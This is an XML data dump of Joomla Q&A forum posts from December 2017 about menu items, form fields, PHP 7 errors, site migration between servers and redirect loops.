  <row Id="22065" PostTypeId="2" ParentId="22041" CreationDate="2017-12-11T15:08:08.100" Score="1" Body="&lt;p&gt;The problem is the way that you created that menu item pointing to the article. You will need to create a menu item of type &quot;Search&quot; (&quot;Smart Search&quot;). This will ensure that the links are what you want them to be (note: you do &lt;strong&gt;not&lt;/strong&gt; need to delete the menu item that you have created).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: It is a good idea to delete your test data and the data that came with your CMS (try searching for &quot;test&quot; on your site and you'll know what I mean).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-12-11T15:08:08.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22067" PostTypeId="1" AcceptedAnswerId="22089" CreationDate="2017-12-11T17:45:45.783" Score="2" ViewCount="114" Body="&lt;p&gt;I wrote a component with two views, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the main one is a listing (which I set as the home page i.e. &lt;a href=&quot;https://example.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com/&lt;/a&gt; )&lt;/li&gt;&#xA;&lt;li&gt;the other a detail page (which is only accessible through the main view i.e. &lt;a href=&quot;https://example.com/somealias&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com/somealias&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My client requested that I show a &lt;em&gt;different&lt;/em&gt; menu on the detail pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried creating a new menu item pointing to the detail page, and a param to set the correct Itemid in the main page, and it picks it up correctly, however it adds the second menu alias to the url i.e. &lt;a href=&quot;https://example.com/second-menu-item-alias/somealias&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com/second-menu-item-alias/somealias&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;modify the template, create two positions and show each according to the input params;&lt;/li&gt;&#xA;&lt;li&gt;override the menu module to add the required logic there;&lt;/li&gt;&#xA;&lt;li&gt;use Nonumber's or other extensions to handle it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But before I resort to those, I would really like to know if there is a  solution I can use from my component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2017-12-14T12:30:03.783" Title="Different menu modules in different views of the same component from a single menu item" Tags="|joomla-3.x|menu-item|itemid|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22069" PostTypeId="1" CreationDate="2017-12-11T23:12:11.347" Score="2" ViewCount="92" Body="&lt;p&gt;I am running a number of sites on the same server. All are updated to Joomla 3.8.2&#xA;Suddenly some of them but not all have the following problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I list the articles I get a list of the first 20 articles.&#xA;URL: &lt;a href=&quot;http://DOMAIN/administrator/index.php?option=com_content&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://DOMAIN/administrator/index.php?option=com_content&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After clicking the next button I get an error 500:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 9&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY a.id desc LIMIT 20' at line 11&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 9 &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From here I can only go back to the control panel.&#xA;From now on the article list immediately gives the error 500&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After logging out and in I get the list of the first 20 items again.&#xA;What could be wrong here and how do I solve this?&lt;/p&gt;&#xA;" OwnerUserId="11997" LastActivityDate="2017-12-12T14:17:05.310" Title="SQL Query error when displaying article list" Tags="|articles|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22070" PostTypeId="2" ParentId="2406" CreationDate="2017-12-12T01:13:45.947" Score="1" Body="&lt;p&gt;I just found a new option in Joomla 3.8.2.&#xA;Field type &quot;user&quot; has the option &quot;groups&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;partner_id&quot;&#xA;    type=&quot;user&quot;&#xA;    label=&quot;JGLOBAL_FIELD_MODIFIED_BY_LABEL&quot;&#xA;    groups=&quot;10&quot;&#xA;    required=&quot;true&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe it will be useful for someone&lt;/p&gt;&#xA;" OwnerUserId="11998" LastActivityDate="2017-12-12T01:13:45.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22071" PostTypeId="1" AcceptedAnswerId="22072" CreationDate="2017-12-12T08:33:36.667" Score="1" ViewCount="22" Body="&lt;p&gt;As an extension developer should you go with package size limiting and if yes what limit should you use to maintain better UX in terms of the installation process?&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-12-12T14:06:53.383" Title="Should you go with package size limit? [Extension development]" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22072" PostTypeId="2" ParentId="22071" CreationDate="2017-12-12T14:06:53.383" Score="3" Body="&lt;p&gt;Most of the servers have default upload limit of 2MB. It will be easier for your users if your package is less than 2MB in size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this is a minor thing when comes to the installation process. You can instruct your users to increase the upload limit. Or you can provide direct link to the package and users can install it with Install from URL option.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-12-12T14:06:53.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22073" PostTypeId="2" ParentId="22069" CreationDate="2017-12-12T14:17:05.310" Score="1" Body="&lt;p&gt;I can think of 2 things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A plugin that is causing this mess&lt;/li&gt;&#xA;&lt;li&gt;A core modification that was implemented to optimize the article loading process but is incompatible with Joomla 3.8.2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;First, try disabling system/content plugins one by one until the problem is resolved. If it is not, then try &quot;refreshing&quot; the Joomla core files by copying over a fresh copy of Joomla onto your site (make sure you backup your website first, and make sure you remove the &lt;code&gt;installation&lt;/code&gt; folder before copying the files over).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-12-12T14:17:05.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22074" PostTypeId="2" ParentId="22067" CreationDate="2017-12-12T16:10:25.007" Score="0" Body="&lt;p&gt;Yes you can do it without making many changes in your code&#xA;add a custom position to your view using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_('content.prepare', '{loadposition mycustom-top}')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Go to modules and on the module that you want to render here set position to mycustom-top &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; you will not get the option for this position, but write the position in the text field of position and press enter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps. All the best, if you face any issue or query please post a comment.&lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2017-12-12T16:10:25.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22075" PostTypeId="2" ParentId="22062" CreationDate="2017-12-12T16:46:44.573" Score="1" Body="&lt;p&gt;Set the type to city in lowercase, and if it doesn't still work try adding addfieldpath to the field as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;field&#xA;            addfieldpath=&quot;/administrator/components/com_testing/models/fields&quot;&#xA;            name=&quot;testingfield&quot;&#xA;            type=&quot;City&quot;&#xA;            multiple=&quot;true&quot;&#xA;            size=&quot;7&quot;&#xA;            label=&quot;Testinglabel&quot;&amp;gt;&#xA;                    &amp;lt;option value=&quot;A&quot;&amp;gt;A&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;B&quot;&amp;gt;B&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;C&quot;&amp;gt;C&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;D&quot;&amp;gt;D&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;E&quot;&amp;gt;E&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;F&quot;&amp;gt;F&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;G&quot;&amp;gt;G&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as in some cases the fieldset path cannot be accessed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check the FormField file that you are using and match the cases as in the example file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one case I have faced an issue the formfield doesn't not load, so also try to make a same file with some other type eg : replace city with Example and do not forget to match the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2017-12-12T16:46:44.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22076" PostTypeId="2" ParentId="22057" CreationDate="2017-12-12T18:05:35.183" Score="1" Body="&lt;p&gt;PHP7 throws an error when $this is used in a static called function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error should give you a file and a line number. It will probably be something inside a static function like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ExampleClass {&#xA;&#xA;    public static function exampleFunction() {&#xA;        // ...&#xA;        $this-&amp;gt;someOtherFunction();&#xA;        // ...&#xA;    }&#xA;    public static function someOtherFunction() {&#xA;        // ...&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;someOtherFunction();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static::someOtherFunction();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above case we assume &lt;code&gt;ExampleClass::someOtherFunction&lt;/code&gt; is a static fucntion. If it is, we are done. If it is not a static function, you may have to either change it to one (if it is not used elsewhere in the code) or initialize the class and call it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$instance = new static::class;&#xA;$instance-&amp;gt;someOtherFunction();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2017-12-12T18:05:35.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22077" PostTypeId="1" CreationDate="2017-12-12T18:43:40.377" Score="2" ViewCount="155" Body="&lt;p&gt;I need to transfer a website from a server to another. PHP version 5.3 and joomla 3.8 so Akeeba is not compatible . Is there a similar tool? Because I tried it manually by moving the files and dumping the sql but didn't worked&lt;/p&gt;&#xA;" OwnerUserId="12000" LastActivityDate="2017-12-12T21:03:41.427" Title="Transfer Joomla website to other server Akeeba" Tags="|joomla-3.x|akeebabackup|" AnswerCount="2" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="22078" PostTypeId="2" ParentId="22077" CreationDate="2017-12-12T20:19:56.577" Score="2" Body="&lt;p&gt;If you have ssh access on both servers, you can first dump the database (using &lt;code&gt;mysql &amp;gt;&lt;/code&gt;), zip the filesystem (using &lt;code&gt;zip -r&lt;/code&gt;), copy both to the other server (using &lt;code&gt;scp&lt;/code&gt;), re-import the database (using &lt;code&gt;mysql &amp;lt;&lt;/code&gt;), and finally unzip the filesystem (using &lt;code&gt;unzip&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-12-12T20:19:56.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22079" PostTypeId="2" ParentId="22077" CreationDate="2017-12-12T21:03:41.427" Score="5" Body="&lt;p&gt;It should be also possible to move the website with the &quot;classic way&quot;... Meaning, zipping everything in the public_html and getting a mysql dump, using the tools available in your hosting panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have some issues if the hosting is Godaddy Classic Hosting, which by personal experience, is usually timing out when trying to zip the contents of a Joomla site, especially if there are many files. But in any case, you can ask your hosting provider for support on getting a complete backup of your root folder and your databases.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-12-12T21:03:41.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22080" PostTypeId="2" ParentId="22062" CreationDate="2017-12-12T22:21:49.570" Score="2" Body="&lt;p&gt;If you field is in the administrator, you want to use this include path:&#xA;&lt;code&gt;JFormHelper::addFieldPath(JPATH_COMPONENT_ADMINISTRATOR.'/models/fields');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Oh and you want that filename to be lowercase (as commented under the question). Basically, every file in Joomla should be lowercase.&lt;/p&gt;&#xA;&lt;p&gt;The Windows file system is not case sensitive, while Linux is.&lt;/p&gt;&#xA;&lt;p&gt;Change &lt;code&gt;City.php&lt;/code&gt; to &lt;code&gt;city.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7896" LastEditorUserId="12352" LastEditDate="2021-05-05T03:52:37.087" LastActivityDate="2021-05-05T03:52:37.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22081" PostTypeId="2" ParentId="21978" CreationDate="2017-12-13T13:15:37.403" Score="1" Body="&lt;p&gt;Previewing an article is a functionality that was lost almost 7 years ago (beginning of 2011) when Joomla 1.6 was released (Joomla 1.5 supported previewing). So, now you have to resort to a plugin to preview articles, which may or may not cause conflicts with your template or with your whole website (in your case it is causing a conflict), not to mention, of course, that Better Preview has to load a standalone library in order for it to work (adding some overhead to your site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do remember experiencing a mysterious bug caused by Better Preview on one of our client's sites, and we communicated this bug to the developer via Twitter; his reply, to say the least, wasn't really nice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ideal solution, in my opinion, if you really need a preview functionality, is to add a special group/view level in your ACL called &quot;Preview&quot;, and then assign your Joomla username to this group, and finally assign each article you want to preview to this view level first before assigning it to everyone. This is the lightest and most stable solution, and you don't need to install any plugin that may or may not break your site.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-12-13T13:15:37.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22082" PostTypeId="1" CreationDate="2017-12-13T17:14:40.043" Score="1" ViewCount="322" Body="&lt;p&gt;I'm busy trying to move a Joomla site to a new server.  I want to host with Nginx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an intermediate step before swapping the live site I'm hosting it under a temporary new domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to load the site I get an infinite redirect loop.  It is definitely reaching the Joomla index.php file because the redirect from the base path / to the language specific version /en/ is occurring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw a similar question here: &lt;a href=&quot;https://joomla.stackexchange.com/questions/5182/redirecting-multilingual-url&quot;&gt;Redirecting multilingual url&lt;/a&gt; but I'm struggling to translate it into nginx config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I don't think that this is an Nginx configuration problem.  Removing the system/languagefilter plugin lets the site load (albeit with a wrong template).  I've used scp to copy the directory between servers and mysqldump for the database so I can't see where the difference is?&lt;/p&gt;&#xA;" OwnerUserId="12007" LastEditorUserId="12007" LastEditDate="2017-12-13T19:45:49.603" LastActivityDate="2017-12-13T19:45:49.603" Title="Nginx infinite redirect loop with multilingual Joomla" Tags="|multilingual|nginx|server-configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22084" PostTypeId="1" AcceptedAnswerId="22087" CreationDate="2017-12-13T22:42:41.320" Score="4" ViewCount="1103" Body="&lt;p&gt;I'm trying to migrate a Joomla 2.5.6 site from one server to another.  I have used scp to copy the files one for one across and taken a mysqldump of the database so I'm sure that the new server has a clone of the code.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The differences that I can identify with the original server are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It had PHP5.5 installed (I'm using 7.1)&lt;/li&gt;&#xA;&lt;li&gt;It used Apache 2.2.14 (I'm using 2.4.18)&lt;/li&gt;&#xA;&lt;li&gt;It was not served on HTTPS (I'm using a valid LetsEncrypt cert)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I load the home page I get an infinite loop of 303 errors, which at first seemed to be related to the languagefilter plugin, but also seem to be related to SEF.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SEF off and no languagefilter: Page loads, links broken&#xA;SEF off and languagefilter present: Infinite redirect loop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm unable to login to the admin dashboard so I can't use that to disable stuff.  I have edited the SEF setting in the global config and when it is turned off the site shows (with the wrong template).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Apache vhost looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_ssl.c&amp;gt;&#xA;&amp;lt;VirtualHost *:443&amp;gt;&#xA;    DocumentRoot /var/www/html/fmjock&#xA;    ServerName fmjock.mystery.co.za&#xA;    &amp;lt;Directory &quot;/var/www/html/fmjock&quot;&amp;gt;&#xA;        AllowOverride All&#xA;        allow from all&#xA;        Options +Indexes&#xA;   &amp;lt;/Directory&amp;gt;&#xA;SSLCertificateFile /etc/letsencrypt/live/fmjock.mystery.co.za/fullchain.pem&#xA;SSLCertificateKeyFile /etc/letsencrypt/live/fmjock.mystery.co.za/privkey.pem&#xA;Include /etc/letsencrypt/options-ssl-apache.conf&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I verified that Apache2 is respecting the .htaccess file and that it's the same as the one from the original server.  The only file that is different is the global configuration where I changed the database details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;This happens with either HTTP or HTTPS and it's not a 301 redirect from non-secure to secure, wget shows that it's returning 303:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@sites-available# wget fmjock.mystery.co.za&#xA;--2017-12-14 07:50:57--  http://fmjock.mystery.co.za/&#xA;Resolving fmjock.mystery.co.za (fmjock.mystery.co.za)... 77.68.74.51&#xA;Connecting to fmjock.mystery.co.za (fmjock.mystery.co.za)|77.68.74.51|:80... &#xA;connected.&#xA;HTTP request sent, awaiting response... 303 See other&#xA;Location: http://fmjock.mystery.co.za/en/ [following]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12007" LastEditorUserId="12007" LastEditDate="2017-12-14T07:53:20.947" LastActivityDate="2017-12-14T07:53:20.947" Title="Joomla 2.5.6 infinite 303 loop (SEF)" Tags="|joomla-2.5|sef|redirect|apache|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22086" PostTypeId="2" ParentId="22084" CreationDate="2017-12-13T23:20:55.593" Score="1" Body="&lt;p&gt;Your problems could be related to a number of reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP version (Joomla 2.5 is not built to run on PHP 7)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Try to set your new server to PHP 5.6&lt;/strong&gt; This is often done through your cPanel, or ask your hosting provider.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Error during transfer (missing or corrupt files)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Try using &lt;a href=&quot;https://www.akeebabackup.com/download/akeeba-backup/4-7-7.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Backup&lt;/a&gt; for the transfer.&lt;/strong&gt; Version 4.7.7 should work on Joomla 2.5.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Old Joomla version. &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Upgrade to version 2.5.28 and apply &lt;a href=&quot;https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions&quot; rel=&quot;nofollow noreferrer&quot;&gt;EOL security patches&lt;/a&gt;.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Invalid code in your &lt;em&gt;.htaccess&lt;/em&gt; file.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Code working on one server might cause errors on another server. &lt;strong&gt;Try renaming your .htaccess file to e.g. &lt;code&gt;old.htaccess&lt;/code&gt;&lt;/strong&gt; Remember to disable URL rewriting in your &lt;code&gt;configuration.php&lt;/code&gt; file (&lt;code&gt;public $sef_rewrite = '0';&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are just generic solutions, but it's a good starting point. I think the first option (PHP version) is most likely to be the problem, depending on what extensions you have installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2017-12-13T23:20:55.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22087" PostTypeId="2" ParentId="22084" CreationDate="2017-12-14T02:49:52.353" Score="2" Body="&lt;p&gt;The problem is likely your HTTPS redirect. You are likely redirecting to HTTPS at the beginning of your &lt;code&gt;.htaccess&lt;/code&gt; file, and later redirecting to HTTP. Another scenario is when your Joomla website is set to use HTTPS, but there is a redirect to HTTP in the &lt;code&gt;.htaccess&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-12-14T02:49:52.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22089" PostTypeId="2" ParentId="22067" CreationDate="2017-12-14T12:30:03.783" Score="0" Body="&lt;p&gt;Turns out the solution was incredibly easy: I added a param to the main view where I input the Itemid of a second menu item, hidden, where I configured my alternative modules layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the detail page layout I simply added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$set_itemid = $this-&amp;gt;params-&amp;gt;get('set_itemid',0);&#xA;if ($set_itemid) {&#xA;    $app = JFactory::getApplication();&#xA;    $app-&amp;gt;input-&amp;gt;set('Itemid',$set_itemid);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I'm just overwriting the Itemid parameter with the correct one I have built my layout on.  The page with the other Itemid is never used directly, I'm just tricking Joomla! in thinking it should renders the modules of that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works because when I'm rendering the component, the url is already decoded for my component (so it's not going to cause problems here), but the modules still need to be rendered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure this will work with 3rd party cache managers or SEF products, but with basic Joomla 3.8 routing and cache it seems to behave just fine.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2017-12-14T12:30:03.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22091" PostTypeId="2" ParentId="22060" CreationDate="2017-12-14T18:42:27.207" Score="-1" Body="&lt;p&gt;onExtensionAfterSave isn't a common Joomla event - It only fires when the component/module/plugin configuration is saved.  Example, editing Joomla global configuration, editing the options of a component, editing the options of a module, editing the options of a plugin.  I've been writing extensions for years and I've never used that event - because it just isn't useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you picked the wrong event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It won't fire on creating a form within your component unless you've written your component to fire that event.  And if you did, I'd suggest picking a different event - like onContentAfterSave, which is designed to do what you're asking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's your own component (that you're writing) - you might consider creating your own set of events to monitor. Joomla is designed to do this.  I did this in one of my own components to monitor a dozen different events related to CBT training.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you're working with your own events, you can define whatever you want to send to the plugin.  In my events, most take only one variable - an ID.  The plugin retrieves the data based on that ID and does whatever it's designed to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1, choose a unique type to name your plugin folder: /plugins/YOURNEWTYPE/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2, make a test plugin to define and test your events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3, load the plugins and create a dispatcher in your component to fire your custom event whenever you need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's super easy.&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2017-12-14T18:42:27.207" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="22092" PostTypeId="2" ParentId="20867" CreationDate="2017-12-14T18:53:21.560" Score="1" Body="&lt;p&gt;I have a subform field type that's working with all of the subform options - pending a pull request I have in Joomla on GitHub.  This is a pretty complex question and has to do with the way Joomla stores custom field data.  Joomla will accept a single dimensional array - but subforms are multidimensional arrays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When/if the PR gets merged, I'll be publishing my subform plugin in the JED.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the PR doesn't get merged (I'm the 3rd person to try to solve this problem), then the core developers will have blocked yet another attempt to solve this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm confident that my approach will be accepted - because it's fully backwards compatible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if they don't - I have another solution....  We'll know by the time 3.9 gets released.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: My pull request has made it through the testing process and is now labeled &quot;RTC&quot; (Ready to Commit).  Once approved and merged, it will be part of the next Joomla release (probably 3.9).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 2: The pull request was merged - my fix will be included in Joomla 3.8.4.  When it's released, I'll release my subform plugin on the JED.&lt;/p&gt;&#xA;" OwnerUserId="2066" LastEditorUserId="2066" LastEditDate="2017-12-21T00:52:17.047" LastActivityDate="2017-12-21T00:52:17.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22093" PostTypeId="2" ParentId="21478" CreationDate="2017-12-14T18:57:14.650" Score="1" Body="&lt;p&gt;There are several tags that are prohibited by the Joomla text filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Global Configuration&#xA;Click the &quot;Text Filters&quot; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the bottom of that page, you'll see a yellow section where it defines tags present in the default blacklist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any usergroup that's been assigned the default blacklist will be restricted/prevented from using the tags in the blacklist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a bug - it's a security feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution - unblacklist yourself.&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2017-12-14T18:57:14.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22094" PostTypeId="2" ParentId="14229" CreationDate="2017-12-14T19:04:36.563" Score="1" Body="&lt;p&gt;So build it into the field logic.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldGroupList extends JFormFieldList{&#xA;    protected $type='grouplist'&#xA;&#xA;    public function getOptions($id=''){&#xA;        $options = array();&#xA;        $user = JFactory::getUser();&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        // set up your query&#xA;        $query-&amp;gt;where('user_id = '.$user-&amp;gt;id);&#xA;        //connect to database and get the records&#xA;        //Form the value and text&#xA;        return $options&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2017-12-14T19:04:36.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
